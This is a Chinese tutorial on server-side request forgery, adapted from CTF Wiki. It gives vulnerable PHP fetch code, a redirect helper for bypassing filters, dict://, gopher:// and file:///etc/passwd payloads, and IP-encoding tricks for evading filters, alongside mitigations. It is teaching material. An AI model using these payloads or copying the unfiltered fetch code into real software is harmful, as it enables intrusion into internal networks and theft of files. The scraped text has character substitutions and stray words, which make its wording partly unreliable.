SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造造成由服务器端发起请求的一个漏洞。通常状况下,SSRF
攻击的目标是从外网没法访问的内部系统。php
漏洞造成的缘由大可能是由于服务端提供了从其余服务器应用获取数据的功能且没有对目标地址做过滤和限制。html
攻击者能够利用 SSRF
实现的攻击主要有 5 种:前端
一、能够对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner
信息git
二、攻击运行在内网或本地的应用程序(好比溢出)github
三、对内网 WEB 应用进行指纹识别,经过访问默认文件实现web
四、攻击内外网的 web 应用,主要是使用 GET 参数就能够实现的攻击(好比 Struts2
,sqli
等)sql
五、利用 file
协议读取本地文件等数据库
可以对外发起网络请求的地方,就可能存在 SSRF
漏洞后端
从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)安全
数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
Webmail 收取其余邮箱邮件(POP三、IMAP、SMTP)
文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)
一、file_get_contents
<?php
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
复制代码
这段代码使用 file_get_contents
函数从用户指定的 URL
获取图片。而后把它用一个随机文件名保存在硬盘上,并展现给用户。
二、fsockopen()
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
复制代码
这段代码使用 fsockopen
函数实现获取用户制定 URL 的数据(文件或者 HTML)。这个函数会使用 socket
跟服务器创建 TCP 链接,传输原始数据。
三、curl_exec()
<?php
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
复制代码
使用 curl
获取数据。
服务器开启 OpenSSL
没法进行交互利用
服务端须要鉴权(Cookies & User:Pass
)不能完美利用
限制请求的端口为 http
经常使用的端口,好比,80,443,8080,8090。
禁用不须要的协议。仅仅容许 http
和 https
请求。能够防止相似于 file:///
,gopher://
,ftp://
等引发的问题。
统一错误信息,避免用户能够根据错误信息来判断远端服务器的端口状态。
根据服务器的返回信息进行判断,大部分应用不会判别端口,可经过返回的 banner
信息判断端口状态。
后端实现
<?php
if (isset($_POST['url'])) {
$link = $_POST['url'];
$filename = './curled/'.rand().'txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
}
?>
复制代码
构造一个前端页面
<html>
<body>
<form name="px" method="post" action="http://127.0.0.1/ss.php">
<input type="text" name="url" value="">
<input type="submit" name="commit" value="submit">
</form>
<script></script>
</body>
</html>
复制代码
请求非 HTTP
的端口能够返回 banner
信息。
或可利用 302
跳转绕过 HTTP
协议的限制。
辅助脚本
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
复制代码
Dict 协议
dict://fuzz.wuyun.org:8080/helo:dict
复制代码
Gopher 协议
gopher://fuzz.wuyun.org:8080/gopher
复制代码
File 协议
file:///etc/passwd
复制代码
一、更改 IP 地址写法 例如 192.168.0.1
8 进制格式:0300.0250.0.1
16 进制格式:0xC0.0xA8.0.1
10 进制整数格式:3232235521
16 进制整数格式:0xC0A80001
还有一种特殊的省略模式,例如10.0.0.1这个 IP 能够写成10.1
二、利用 URL
解析问题 在某些状况下,后端程序可能会对访问的 URL
进行解析,对解析出来的 host
地址进行过滤。这时候可能会出现对 URL
参数解析不当,致使能够绕过过滤。 例如:
http://www.baidu.com@192.168.0.1
/与http://192.168.0.1
请求的都是192.168.0.1
的内容
能够指向任意 ip 的域名xip.io
:http://127.0.0.1.xip.io/
==>http://127.0.0.1/
短地址http://dwz.cn/11SMa
==>http://127.0.0.1
利用句号。
:127。0。0。1
==>127.0.0.1
利用 Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
复制代码
能够对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner
信息;
攻击运行在内网或本地的应用程序(好比溢出);
对内网 web
应用进行指纹识别,经过访问默认文件实现;
攻击内外网的web
应用,主要是使用 get
参数就能够实现的攻击(好比 struts2
,sqli
等);
利用 file
协议读取本地文件等。
《Build Your SSRF EXP Autowork》猪猪侠
bilibili 某分站从信息泄露到 ssrf 再到命令执行
合天网安实验室(www.hetianlab.com)-国内领先的实操型网络安全在线教育平台
真实环境,在线实操学网络安全 ; 实验内容涵盖:系统安全,软件安全,网络安全,Web安全,移动安全,CTF,取证分析,渗透测试,网安意识教育等。
本文章在原文章SSRF 服务端请求伪造 - CTF Wiki的基础上有所修改。
本文章的所有内容在
CC BY-NC-SA 4.0
协议之条款下提供,附加条款亦可能应用。